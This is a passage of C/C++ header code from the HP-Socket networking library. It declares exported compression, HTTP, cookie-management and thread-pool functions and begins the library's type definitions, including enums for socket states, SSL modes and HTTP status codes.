HPSOCKET_API int SYS_UrlDecode(BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
#ifdef _ZLIB_SUPPORT
// 普通压缩返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
// 默认参数iLevel -> -1iMethod -> 8iWindowBits -> 15iMemLevel -> 8iStrategy -> 0
HPSOCKET_API int SYS_Compress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// 高级压缩返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
//默认参数iLevel -> -1iMethod -> 8iWindowBits -> 15iMemLevel -> 8iStrategy -> 0
HPSOCKET_API int SYS_CompressEx(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen, int iLevel = -1, int iMethod = 8, int iWindowBits = 15, int iMemLevel = 8, int iStrategy = 0);
// 普通解压返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
//默认参数iWindowBits -> 15
HPSOCKET_API int SYS_Uncompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// 高级解压返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
//默认参数iWindowBits -> 15
HPSOCKET_API int SYS_UncompressEx(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen, int iWindowBits = 15);
// 推测压缩结果长度
HPSOCKET_API DWORD SYS_GuessCompressBound(DWORD dwSrcLen, BOOL bGZip = FALSE);
// Gzip 压缩返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_GZipCompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// Gzip 解压返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_GZipUncompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// 推测 Gzip 解压结果长度(如果返回 0 或不合理值则说明输入内容并非有效的 Gzip 格式)
HPSOCKET_API DWORD SYS_GZipGuessUncompressBound(const BYTE* lpszSrc, DWORD dwSrcLen);
#endif
#ifdef _BROTLI_SUPPORT
// Brotli 压缩返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
// 默认参数iQuality -> 11iWindow -> 22iMode -> 0
HPSOCKET_API int SYS_BrotliCompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// Brotli 高级压缩返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
//默认参数iQuality -> 11iWindow -> 22iMode -> 0
HPSOCKET_API int SYS_BrotliCompressEx(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen, int iQuality = 11, int iWindow = 22, int iMode = 0);
// Brotli 解压返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_BrotliUncompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// Brotli 推测压缩结果长度
HPSOCKET_API DWORD SYS_BrotliGuessCompressBound(DWORD dwSrcLen);
#endif
/*****************************************************************************************************************************************************/
/******************************************************************** HTTP Exports *******************************************************************/
/*****************************************************************************************************************************************************/
#ifdef _HTTP_SUPPORT
// 创建 IHttpServer 对象
HPSOCKET_API IHttpServer* HP_Create_HttpServer(IHttpServerListener* pListener);
// 创建 IHttpAgent 对象
HPSOCKET_API IHttpAgent* HP_Create_HttpAgent(IHttpAgentListener* pListener);
// 创建 IHttpClient 对象
HPSOCKET_API IHttpClient* HP_Create_HttpClient(IHttpClientListener* pListener);
// 创建 IHttpSyncClient 对象
HPSOCKET_API IHttpSyncClient* HP_Create_HttpSyncClient(IHttpClientListener* pListener = nullptr);
// 销毁 IHttpServer 对象
HPSOCKET_API void HP_Destroy_HttpServer(IHttpServer* pServer);
// 销毁 IHttpAgent 对象
HPSOCKET_API void HP_Destroy_HttpAgent(IHttpAgent* pAgent);
// 销毁 IHttpClient 对象
HPSOCKET_API void HP_Destroy_HttpClient(IHttpClient* pClient);
// 销毁 IHttpSyncClient 对象
HPSOCKET_API void HP_Destroy_HttpSyncClient(IHttpSyncClient* pClient);
// IHttpServer 对象创建器
struct HttpServer_Creator
{
static IHttpServer* Create(IHttpServerListener* pListener)
{
return HP_Create_HttpServer(pListener);
}
static void Destroy(IHttpServer* pServer)
{
HP_Destroy_HttpServer(pServer);
}
};
// IHttpAgent 对象创建器
struct HttpAgent_Creator
{
static IHttpAgent* Create(IHttpAgentListener* pListener)
{
return HP_Create_HttpAgent(pListener);
}
static void Destroy(IHttpAgent* pAgent)
{
HP_Destroy_HttpAgent(pAgent);
}
};
// IHttpClient 对象创建器
struct HttpClient_Creator
{
static IHttpClient* Create(IHttpClientListener* pListener)
{
return HP_Create_HttpClient(pListener);
}
static void Destroy(IHttpClient* pClient)
{
HP_Destroy_HttpClient(pClient);
}
};
// IHttpSyncClient 对象创建器
struct HttpSyncClient_Creator
{
static IHttpSyncClient* Create(IHttpClientListener* pListener = nullptr)
{
return HP_Create_HttpSyncClient(pListener);
}
static void Destroy(IHttpSyncClient* pClient)
{
HP_Destroy_HttpSyncClient(pClient);
}
};
// IHttpServer 对象智能指针
typedef CHPObjectPtr<IHttpServer, IHttpServerListener, HttpServer_Creator> CHttpServerPtr;
// IHttpAgent 对象智能指针
typedef CHPObjectPtr<IHttpAgent, IHttpAgentListener, HttpAgent_Creator> CHttpAgentPtr;
// IHttpClient 对象智能指针
typedef CHPObjectPtr<IHttpClient, IHttpClientListener, HttpClient_Creator> CHttpClientPtr;
// IHttpSyncClient 对象智能指针
typedef CHPObjectPtr<IHttpSyncClient, IHttpClientListener, HttpSyncClient_Creator> CHttpSyncClientPtr;
/**************************************************************************/
/*************************** HTTP Cookie 管理方法 **************************/
/* 从文件加载 Cookie */
HPSOCKET_API BOOL HP_HttpCookie_MGR_LoadFromFile(LPCSTR lpszFile, BOOL bKeepExists = TRUE);
/* 保存 Cookie 到文件 */
HPSOCKET_API BOOL HP_HttpCookie_MGR_SaveToFile(LPCSTR lpszFile, BOOL bKeepExists = TRUE);
/* 清理 Cookie */
HPSOCKET_API BOOL HP_HttpCookie_MGR_ClearCookies(LPCSTR lpszDomain = nullptr, LPCSTR lpszPath = nullptr);
/* 清理过期 Cookie */
HPSOCKET_API BOOL HP_HttpCookie_MGR_RemoveExpiredCookies(LPCSTR lpszDomain = nullptr, LPCSTR lpszPath = nullptr);
/* 设置 Cookie */
HPSOCKET_API BOOL HP_HttpCookie_MGR_SetCookie(LPCSTR lpszName, LPCSTR lpszValue, LPCSTR lpszDomain, LPCSTR lpszPath, int iMaxAge = -1, BOOL bHttpOnly = FALSE, BOOL bSecure = FALSE, int enSameSite = 0, BOOL bOnlyUpdateValueIfExists = TRUE);
/* 删除 Cookie */
HPSOCKET_API BOOL HP_HttpCookie_MGR_DeleteCookie(LPCSTR lpszDomain, LPCSTR lpszPath, LPCSTR lpszName);
/* 设置是否允许第三方 Cookie */
HPSOCKET_API void HP_HttpCookie_MGR_SetEnableThirdPartyCookie(BOOL bEnableThirdPartyCookie = TRUE);
/* 检查是否允许第三方 Cookie */
HPSOCKET_API BOOL HP_HttpCookie_MGR_IsEnableThirdPartyCookie();
/* Cookie expires 字符串转换为整数 */
HPSOCKET_API BOOL HP_HttpCookie_HLP_ParseExpires(LPCSTR lpszExpires, __time64_t& tmExpires);
/* 整数转换为 Cookie expires 字符串 */
HPSOCKET_API BOOL HP_HttpCookie_HLP_MakeExpiresStr(char lpszBuff[], int& iBuffLen, __time64_t tmExpires);
/* 生成 Cookie 字符串 */
HPSOCKET_API BOOL HP_HttpCookie_HLP_ToString(char lpszBuff[], int& iBuffLen, LPCSTR lpszName, LPCSTR lpszValue, LPCSTR lpszDomain, LPCSTR lpszPath, int iMaxAge /*= -1*/, BOOL bHttpOnly /*= FALSE*/, BOOL bSecure /*= FALSE*/, int enSameSite /*= 0*/);
/* 获取当前 UTC 时间 */
HPSOCKET_API __time64_t HP_HttpCookie_HLP_CurrentUTCTime();
/* Max-Age -> expires */
HPSOCKET_API __time64_t HP_HttpCookie_HLP_MaxAgeToExpires(int iMaxAge);
/* expires -> Max-Age */
HPSOCKET_API int HP_HttpCookie_HLP_ExpiresToMaxAge(__time64_t tmExpires);
/*****************************************************************************************************************************************************/
/************************************************************* HTTP Global Function Exports **********************************************************/
/*****************************************************************************************************************************************************/
#endif
/*****************************************************************************************************************************************************/
/**************************************************************** Thread Pool Exports ****************************************************************/
/*****************************************************************************************************************************************************/
// 创建 IHPThreadPool 对象
HPSOCKET_API IHPThreadPool* HP_Create_ThreadPool(IHPThreadPoolListener* pListener = nullptr);
// 销毁 IHPThreadPool 对象
HPSOCKET_API void HP_Destroy_ThreadPool(IHPThreadPool* pThreadPool);
/*
* 名称:创建 TSocketTask 对象
* 描述:创建任务对象,该对象最终需由 HP_Destroy_SocketTaskObj() 销毁
*
* 参数: fnTaskProc -- 任务处理函数
* pSender -- 发起对象
* dwConnID -- 连接 ID
* pBuffer -- 数据缓冲区
* iBuffLen -- 数据缓冲区长度
* enBuffType -- 数据缓冲区类型默认TBT_COPY
* TBT_COPY 深拷贝pBuffer 复制到 TSocketTask 对象。此后 TSocketTask 对象与 pBuffer 不再有任何关联
* -> 适用于 pBuffer 不大或 pBuffer 生命周期不受控的场景
* TBT_REFER 浅拷贝pBuffer 不复制到 TSocketTask 对象,需确保 TSocketTask 对象生命周期内 pBuffer 必须有效
* -> 适用于 pBuffer 较大或 pBuffer 可重用,并且 pBuffer 生命周期受控的场景
* TBT_ATTACH :(附属)执行浅拷贝,但 TSocketTask 对象会获得 pBuffer 的所有权,并负责释放 pBuffer避免多次缓冲区拷贝
* -> 注意pBuffer 必须由 SYS_Malloc()/SYS_Calloc() 函数分配才能使用本类型,否则可能会发生内存访问错误
* wParam -- 自定义参数
* lParam -- 自定义参数
* 返回值: LPTSocketTask
*/
HPSOCKET_API LPTSocketTask HP_Create_SocketTaskObj(Fn_SocketTaskProc fnTaskProc, PVOID pSender, CONNID dwConnID, LPCBYTE pBuffer, INT iBuffLen, EnTaskBufferType enBuffType = TBT_COPY, WPARAM wParam = 0, LPARAM lParam = 0);
// 销毁 TSocketTask 对象
HPSOCKET_API void HP_Destroy_SocketTaskObj(LPTSocketTask pTask);
// IHPThreadPool 对象创建器
struct HPThreadPool_Creator
{
static IHPThreadPool* Create(IHPThreadPoolListener* pListener = nullptr)
{
return HP_Create_ThreadPool(pListener);
}
static void Destroy(IHPThreadPool* pThreadPool)
{
HP_Destroy_ThreadPool(pThreadPool);
}
};
// IHPThreadPool 对象智能指针
typedef CHPObjectPtr<IHPThreadPool, IHPThreadPoolListener, HPThreadPool_Creator> CHPThreadPoolPtr;
/*****************************************************************************************************************************************************/
/********************************************************* Compressor / Decompressor Exports *********************************************************/
/*****************************************************************************************************************************************************/
/* 销毁压缩器对象 */
HPSOCKET_API void HP_Destroy_Compressor(IHPCompressor* pCompressor);
/* 销毁解压器对象 */
HPSOCKET_API void HP_Destroy_Decompressor(IHPDecompressor* pDecompressor);
#ifdef _ZLIB_SUPPORT
/* 创建 ZLib 压缩器对象 */
HPSOCKET_API IHPCompressor* HP_Create_ZLibCompressor(Fn_CompressDataCallback fnCallback, int iWindowBits = 15, int iLevel = -1, int iMethod = 8, int iMemLevel = 8, int iStrategy = 0, DWORD dwBuffSize = 16 * 1024);
/* 创建 GZip 压缩器对象 */
HPSOCKET_API IHPCompressor* HP_Create_GZipCompressor(Fn_CompressDataCallback fnCallback, int iLevel = -1, int iMethod = 8, int iMemLevel = 8, int iStrategy = 0, DWORD dwBuffSize = 16 * 1024);
/* 创建 ZLib 解压器对象 */
HPSOCKET_API IHPDecompressor* HP_Create_ZLibDecompressor(Fn_DecompressDataCallback fnCallback, int iWindowBits = 15, DWORD dwBuffSize = 16 * 1024);
/* 创建 GZip 解压器对象 */
HPSOCKET_API IHPDecompressor* HP_Create_GZipDecompressor(Fn_DecompressDataCallback fnCallback, DWORD dwBuffSize = 16 * 1024);
#endif
#ifdef _BROTLI_SUPPORT
/* 创建 Brotli 压缩器对象 */
HPSOCKET_API IHPCompressor* HP_Create_BrotliCompressor(Fn_CompressDataCallback fnCallback, int iQuality = 11, int iWindow = 22, int iMode = 0, DWORD dwBuffSize = 16 * 1024);
/* 创建 Brotli 解压器对象 */
HPSOCKET_API IHPDecompressor* HP_Create_BrotliDecompressor(Fn_DecompressDataCallback fnCallback, DWORD dwBuffSize = 16 * 1024);
#endif

View File

@@ -0,0 +1,594 @@
/*
* Copyright: JessMA Open Source (ldcsaa@gmail.com)
*
* Author : Bruce Liang
* Website : https://github.com/ldcsaa
* Project : https://github.com/ldcsaa/HP-Socket
* Blog : http://www.cnblogs.com/ldcsaa
* Wiki : http://www.oschina.net/p/hp-socket
* QQ Group : 44636872, 75375912
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#pragma once
/* HP-Socket 版本号 */
#define HP_VERSION_MAJOR 6 // 主版本号
#define HP_VERSION_MINOR 0 // 子版本号
#define HP_VERSION_REVISE 3 // 修正版本号
#define HP_VERSION_BUILD 1 // 构建编号
//#define _UDP_DISABLED // 禁用 UDP
//#define _SSL_DISABLED // 禁用 SSL
//#define _HTTP_DISABLED // 禁用 HTTP
//#define _ZLIB_DISABLED // 禁用 ZLIB
//#define _BROTLI_DISABLED // 禁用 BROTLI
/* 是否启用 UDP如果定义了 _UDP_DISABLED 则禁用(默认:启用) */
#if !defined(_UDP_DISABLED)
#ifndef _UDP_SUPPORT
#define _UDP_SUPPORT
#endif
#endif
/* 是否启用 SSL如果定义了 _SSL_DISABLED 则禁用(默认:启用) */
#if !defined(_SSL_DISABLED)
#ifndef _SSL_SUPPORT
#define _SSL_SUPPORT
#endif
#endif
/* 是否启用 HTTP如果定义了 _HTTP_DISABLED 则禁用(默认:启用) */
#if !defined(_HTTP_DISABLED)
#ifndef _HTTP_SUPPORT
#define _HTTP_SUPPORT
#endif
#endif
/* 是否启用 ZLIB如果定义了 _ZLIB_DISABLED 则禁用(默认:启用) */
#if !defined(_ZLIB_DISABLED)
#ifndef _ZLIB_SUPPORT
#define _ZLIB_SUPPORT
#endif
#endif
/* 是否启用 BROTLI如果定义了 _BROTLI_DISABLED 则禁用(默认:启用) */
#if !defined(_BROTLI_DISABLED)
#ifndef _BROTLI_SUPPORT
#define _BROTLI_SUPPORT
#endif
#endif
/**************************************************/
/********** imports / exports HPSocket4C **********/
#ifdef HPSOCKET_STATIC_LIB
#define HPSOCKET_API EXTERN_C
#else
#ifdef HPSOCKET_EXPORTS
#define HPSOCKET_API EXTERN_C __declspec(dllexport)
#else
#define HPSOCKET_API EXTERN_C __declspec(dllimport)
#endif
#endif
#define __HP_CALL __stdcall
/*****************************************************************************************************************************************************/
/**************************************************************** Base Type Definitions **************************************************************/
/*****************************************************************************************************************************************************/
typedef const BYTE* LPCBYTE, PCBYTE;
typedef ULONG_PTR TID, THR_ID, NTHR_ID, PID, PRO_ID;
/************************************************************************
名称:连接 ID 数据类型
描述:应用程序可以把 CONNID 定义为自身需要的类型ULONG / ULONGLONG
************************************************************************/
typedef ULONG_PTR CONNID, HP_CONNID;
/************************************************************************
名称:通信组件服务状态
描述:应用程序可以通过通信组件的 GetState() 方法获取组件当前服务状态
************************************************************************/
typedef enum EnServiceState
{
SS_STARTING = 0, // 正在启动
SS_STARTED = 1, // 已经启动
SS_STOPPING = 2, // 正在停止
SS_STOPPED = 3, // 已经停止
} En_HP_ServiceState;
/************************************************************************
名称Socket 操作类型
描述:应用程序的 OnClose() 事件中通过该参数标识是哪种操作导致的错误
************************************************************************/
typedef enum EnSocketOperation
{
SO_UNKNOWN = 0, // Unknown
SO_ACCEPT = 1, // Acccept
SO_CONNECT = 2, // Connect
SO_SEND = 3, // Send
SO_RECEIVE = 4, // Receive
SO_CLOSE = 5, // Close
} En_HP_SocketOperation;
/************************************************************************
名称:事件处理结果
描述:事件的返回值,不同的返回值会影响通信组件的后续行为
************************************************************************/
typedef enum EnHandleResult
{
HR_OK = 0, // 成功
HR_IGNORE = 1, // 忽略
HR_ERROR = 2, // 错误
} En_HP_HandleResult;
/************************************************************************
名称:数据抓取结果
描述:数据抓取操作的返回值
************************************************************************/
typedef enum EnFetchResult
{
FR_OK = 0, // 成功
FR_LENGTH_TOO_LONG = 1, // 抓取长度过大
FR_DATA_NOT_FOUND = 2, // 找不到 ConnID 对应的数据
} En_HP_FetchResult;
/************************************************************************
名称:数据发送策略
描述Server 组件和 Agent 组件的数据发送策略
* 打包发送策略(默认) :尽量把多个发送操作的数据组合在一起发送,增加传输效率
* 安全发送策略 :尽量把多个发送操作的数据组合在一起发送,并控制传输速度,避免缓冲区溢出
* 直接发送策略 :对每一个发送操作都直接投递,适用于负载不高但要求实时性较高的场合
************************************************************************/
typedef enum EnSendPolicy
{
SP_PACK = 0, // 打包模式(默认)
SP_SAFE = 1, // 安全模式
SP_DIRECT = 2, // 直接模式
} En_HP_SendPolicy;
/************************************************************************
名称OnSend 事件同步策略
描述Server 组件和 Agent 组件的 OnSend 事件同步策略
* 不同步(默认) :不同步 OnSend 事件,可能同时触发 OnReceive 和 OnClose 事件
* 同步 OnClose :只同步 OnClose 事件,可能同时触发 OnReceive 事件
* 同步 OnReceive :(只用于 TCP 组件)同步 OnReceive 和 OnClose 事件,不可能同时触发 OnReceive 或 OnClose 事件
************************************************************************/
typedef enum EnOnSendSyncPolicy
{
OSSP_NONE = 0, // 不同步(默认)
OSSP_CLOSE = 1, // 同步 OnClose
OSSP_RECEIVE = 2, // 同步 OnReceive只用于 TCP 组件)
} En_HP_OnSendSyncPolicy;
/************************************************************************
名称:地址重用选项
描述:通信组件底层 socket 的地址重用选项
************************************************************************/
typedef enum EnReuseAddressPolicy
{
RAP_NONE = 0, // 不重用
RAP_ADDR_ONLY = 1, // 仅重用地址
RAP_ADDR_AND_PORT = 2, // 重用地址和端口
} En_HP_ReuseAddressPolicy;
/************************************************************************
名称:操作结果代码
描述:组件 Start() / Stop() 方法执行失败时,可通过 GetLastError() 获取错误代码
************************************************************************/
typedef enum EnSocketError
{
SE_OK = NO_ERROR, // 成功
SE_ILLEGAL_STATE = 1, // 当前状态不允许操作
SE_INVALID_PARAM = 2, // 非法参数
SE_SOCKET_CREATE = 3, // 创建 SOCKET 失败
SE_SOCKET_BIND = 4, // 绑定 SOCKET 失败
SE_SOCKET_PREPARE = 5, // 设置 SOCKET 失败
SE_SOCKET_LISTEN = 6, // 监听 SOCKET 失败
SE_CP_CREATE = 7, // 创建完成端口失败
SE_WORKER_THREAD_CREATE = 8, // 创建工作线程失败
SE_DETECT_THREAD_CREATE = 9, // 创建监测线程失败
SE_SOCKE_ATTACH_TO_CP = 10, // 绑定完成端口失败
SE_CONNECT_SERVER = 11, // 连接服务器失败
SE_NETWORK = 12, // 网络错误
SE_DATA_PROC = 13, // 数据处理错误
SE_DATA_SEND = 14, // 数据发送失败
SE_GC_START = 15, // 垃圾回收启动失败
/***** SSL Socket 扩展操作结果代码 *****/
SE_SSL_ENV_NOT_READY = 101, // SSL 环境未就绪
} En_HP_SocketError;
/************************************************************************
名称:播送模式
描述UDP 组件的播送模式(组播或广播)
************************************************************************/
typedef enum EnCastMode
{
CM_UNICAST = -1, // 单播
CM_MULTICAST = 0, // 组播
CM_BROADCAST = 1, // 广播
} En_HP_CastMode;
/************************************************************************
名称IP 地址类型
描述IP 地址类型枚举值
************************************************************************/
typedef enum EnIPAddrType
{
IPT_ALL = 0, // 所有
IPT_IPV4 = 1, // IPv4
IPT_IPV6 = 2, // IPv6
} En_HP_IPAddrType;
/************************************************************************
名称IP 地址条目结构体
描述IP 地址的地址簇/地址值结构体
************************************************************************/
typedef struct TIPAddr
{
En_HP_IPAddrType type;
LPCTSTR address;
} *LPTIPAddr, HP_TIPAddr, *HP_LPTIPAddr;
/************************************************************************
名称:拒绝策略
描述:调用被拒绝后的处理策略
************************************************************************/
typedef enum EnRejectedPolicy
{
TRP_CALL_FAIL = 0, // 立刻返回失败
TRP_WAIT_FOR = 1, // 等待(直到成功、超时或线程池关闭等原因导致失败)
TRP_CALLER_RUN = 2, // 调用者线程直接执行
} En_HP_RejectedPolicy;
/************************************************************************
名称:任务缓冲区类型
描述TSockeTask 对象创建和销毁时,根据不同类型的缓冲区类型作不同的处理
************************************************************************/
typedef enum EnTaskBufferType
{
TBT_COPY = 0, // 深拷贝
TBT_REFER = 1, // 浅拷贝
TBT_ATTACH = 2, // 附属(不负责创建,但负责销毁)
} En_HP_TaskBufferType;
/************************************************************************
名称:任务处理函数
描述:任务处理入口函数
参数pvArg -- 自定义参数
返回值:(无)
************************************************************************/
typedef VOID (__HP_CALL *Fn_TaskProc)(PVOID pvArg);
typedef Fn_TaskProc HP_Fn_TaskProc;
struct TSocketTask;
/************************************************************************
名称Socket 任务处理函数
描述Socket 任务处理入口函数
参数pTask -- Socket 任务结构体指针
返回值:(无)
************************************************************************/
typedef VOID (__HP_CALL *Fn_SocketTaskProc)(struct TSocketTask* pTask);
typedef Fn_SocketTaskProc HP_Fn_SocketTaskProc;
/************************************************************************
名称Socket 任务结构体
描述:封装 Socket 任务相关数据结构
************************************************************************/
typedef struct TSocketTask
{
HP_Fn_SocketTaskProc fn; // 任务处理函数
PVOID sender; // 发起对象
CONNID connID; // 连接 ID
LPCBYTE buf; // 数据缓冲区
INT bufLen; // 数据缓冲区长度
En_HP_TaskBufferType bufType; // 缓冲区类型
WPARAM wparam; // 自定义参数
LPARAM lparam; // 自定义参数
} *LPTSocketTask, HP_TSocketTask, *HP_LPTSocketTask;
/************************************************************************
名称:获取 HPSocket 版本号
描述版本号4 个字节分别为:主版本号,子版本号,修正版本号,构建编号)
************************************************************************/
inline DWORD GetHPSocketVersion()
{
return (HP_VERSION_MAJOR << 24) | (HP_VERSION_MINOR << 16) | (HP_VERSION_REVISE << 8) | HP_VERSION_BUILD;
}
/*****************************************************************************************************************************************************/
/**************************************************************** SSL Type Definitions ***************************************************************/
/*****************************************************************************************************************************************************/
#ifdef _SSL_SUPPORT
/************************************************************************
名称SSL 工作模式
描述:标识 SSL 的工作模式,客户端模式或服务端模式
************************************************************************/
typedef enum EnSSLSessionMode
{
SSL_SM_CLIENT = 0, // 客户端模式
SSL_SM_SERVER = 1, // 服务端模式
} En_HP_SSLSessionMode;
/************************************************************************
名称SSL 验证模式
描述SSL 验证模式选项SSL_VM_PEER 可以和后面两个选项组合一起
************************************************************************/
typedef enum EnSSLVerifyMode
{
SSL_VM_NONE = 0x00, // SSL_VERIFY_NONE
SSL_VM_PEER = 0x01, // SSL_VERIFY_PEER
SSL_VM_FAIL_IF_NO_PEER_CERT = 0x02, // SSL_VERIFY_FAIL_IF_NO_PEER_CERT
SSL_VM_CLIENT_ONCE = 0x04, // SSL_VERIFY_CLIENT_ONCE
} En_HP_SSLVerifyMode;
/************************************************************************
名称SSL Session 信息类型
描述:用于 GetSSLSessionInfo(),标识输出的 Session 信息类型
************************************************************************/
typedef enum EnSSLSessionInfo
{
SSL_SSI_MIN = 0, //
SSL_SSI_CTX = 0, // SSL CTX 输出类型SSL_CTX*
SSL_SSI_CTX_METHOD = 1, // SSL CTX Mehtod 输出类型SSL_METHOD*
SSL_SSI_CTX_CIPHERS = 2, // SSL CTX Ciphers 输出类型STACK_OF(SSL_CIPHER)*
SSL_SSI_CTX_CERT_STORE = 3, // SSL CTX Cert Store 输出类型X509_STORE*
SSL_SSI_SERVER_NAME_TYPE = 4, // Server Name Type 输出类型int
SSL_SSI_SERVER_NAME = 5, // Server Name 输出类型LPCSTR
SSL_SSI_VERSION = 6, // SSL Version 输出类型LPCSTR
SSL_SSI_METHOD = 7, // SSL Method 输出类型SSL_METHOD*
SSL_SSI_CERT = 8, // SSL Cert 输出类型X509*
SSL_SSI_PKEY = 9, // SSL Private Key 输出类型EVP_PKEY*
SSL_SSI_CURRENT_CIPHER = 10, // SSL Current Cipher 输出类型SSL_CIPHER*
SSL_SSI_CIPHERS = 11, // SSL Available Ciphers输出类型STACK_OF(SSL_CIPHER)*
SSL_SSI_CLIENT_CIPHERS = 12, // SSL Client Ciphers 输出类型STACK_OF(SSL_CIPHER)*
SSL_SSI_PEER_CERT = 13, // SSL Peer Cert 输出类型X509*
SSL_SSI_PEER_CERT_CHAIN = 14, // SSL Peer Cert Chain 输出类型STACK_OF(X509)*
SSL_SSI_VERIFIED_CHAIN = 15, // SSL Verified Chain 输出类型STACK_OF(X509)*
SSL_SSI_MAX = 15, //
} En_HP_SSLSessionInfo;
/************************************************************************
名称SNI 服务名称回调函数
描述:根据服务器名称选择 SSL 证书
参数:
lpszServerName -- 服务器名称(域名)
返回值:
0 -- 成功,使用默认 SSL 证书索引
正数 -- 成功,使用返回值对应的 SNI 主机证书索引
负数 -- 失败,中断 SSL 握手
************************************************************************/
typedef int (__HP_CALL *Fn_SNI_ServerNameCallback)(LPCTSTR lpszServerName, PVOID pContext);
typedef Fn_SNI_ServerNameCallback HP_Fn_SNI_ServerNameCallback;
#endif
/*****************************************************************************************************************************************************/
/**************************************************************** HTTP Type Definitions **************************************************************/
/*****************************************************************************************************************************************************/
#ifdef _HTTP_SUPPORT
/************************************************************************
名称HTTP 版本
描述:低字节:主版本号,高字节:次版本号
************************************************************************/
typedef enum EnHttpVersion
{
HV_1_0 = MAKEWORD(1, 0), // HTTP/1.0
HV_1_1 = MAKEWORD(1, 1) // HTTP/1.1
} En_HP_HttpVersion;
/************************************************************************
名称URL 域
描述HTTP 请求行中 URL 段位的域定义
************************************************************************/
typedef enum EnHttpUrlField
{
HUF_SCHEMA = 0, // Schema
HUF_HOST = 1, // Host
HUF_PORT = 2, // Port
HUF_PATH = 3, // Path
HUF_QUERY = 4, // Query String
HUF_FRAGMENT = 5, // Fragment
HUF_USERINFO = 6, // User Info
HUF_MAX = 7, // (Field Count)
} En_HP_HttpUrlField;
/************************************************************************
名称HTTP 解析结果标识
描述:指示 HTTP 解析器是否继续执行解析操作
************************************************************************/
typedef enum EnHttpParseResult
{
HPR_OK = 0, // 解析成功
HPR_SKIP_BODY = 1, // 跳过当前请求 BODY仅用于 OnHeadersComplete 事件)
HPR_UPGRADE = 2, // 升级协议(仅用于 OnHeadersComplete 事件)
HPR_ERROR = -1, // 解析错误,终止解析,断开连接
} En_HP_HttpParseResult;
/************************************************************************
名称HTTP 协议升级类型
描述:标识 HTTP 升级为哪种协议
************************************************************************/
typedef enum EnHttpUpgradeType
{
HUT_NONE = 0, // 没有升级
HUT_WEB_SOCKET = 1, // WebSocket
HUT_HTTP_TUNNEL = 2, // HTTP 隧道
HUT_UNKNOWN = -1, // 未知类型
} En_HP_HttpUpgradeType;
/************************************************************************
名称HTTP 状态码
描述HTTP 标准状态码
************************************************************************/
typedef enum EnHttpStatusCode
{
HSC_CONTINUE = 100,
HSC_SWITCHING_PROTOCOLS = 101,
HSC_PROCESSING = 102,
HSC_EARLY_HINTS = 103,
HSC_RESPONSE_IS_STALE = 110,
HSC_REVALIDATION_FAILED = 111,
HSC_DISCONNECTED_OPERATION = 112,
HSC_HEURISTIC_EXPIRATION = 113,
HSC_MISCELLANEOUS_WARNING = 199,
HSC_OK = 200,
HSC_CREATED = 201,
HSC_ACCEPTED = 202,
HSC_NON_AUTHORITATIVE_INFORMATION = 203,
HSC_NO_CONTENT = 204,
HSC_RESET_CONTENT = 205,
HSC_PARTIAL_CONTENT = 206,
HSC_MULTI_STATUS = 207,
HSC_ALREADY_REPORTED = 208,
HSC_TRANSFORMATION_APPLIED = 214,
HSC_IM_USED = 226,
HSC_MISCELLANEOUS_PERSISTENT_WARNING = 299,
HSC_MULTIPLE_CHOICES = 300,
HSC_MOVED_PERMANENTLY = 301,
HSC_MOVED_TEMPORARILY = 302,
HSC_SEE_OTHER = 303,
HSC_NOT_MODIFIED = 304,
HSC_USE_PROXY = 305,
HSC_SWITCH_PROXY = 306,
HSC_TEMPORARY_REDIRECT = 307,
HSC_PERMANENT_REDIRECT = 308,
HSC_BAD_REQUEST = 400,
HSC_UNAUTHORIZED = 401,
HSC_PAYMENT_REQUIRED = 402,
HSC_FORBIDDEN = 403,
HSC_NOT_FOUND = 404,
HSC_METHOD_NOT_ALLOWED = 405,
HSC_NOT_ACCEPTABLE = 406,
HSC_PROXY_AUTHENTICATION_REQUIRED = 407,
HSC_REQUEST_TIMEOUT = 408,
HSC_CONFLICT = 409,
HSC_GONE = 410,
HSC_LENGTH_REQUIRED = 411,
HSC_PRECONDITION_FAILED = 412,
HSC_REQUEST_ENTITY_TOO_LARGE = 413,
HSC_REQUEST_URI_TOO_LONG = 414,
HSC_UNSUPPORTED_MEDIA_TYPE = 415,
HSC_REQUESTED_RANGE_NOT_SATISFIABLE = 416,
HSC_EXPECTATION_FAILED = 417,
HSC_IM_A_TEAPOT = 418,
HSC_PAGE_EXPIRED = 419,
HSC_ENHANCE_YOUR_CALM = 420,
HSC_MISDIRECTED_REQUEST = 421,
HSC_UNPROCESSABLE_ENTITY = 422,
HSC_LOCKED = 423,
HSC_FAILED_DEPENDENCY = 424,
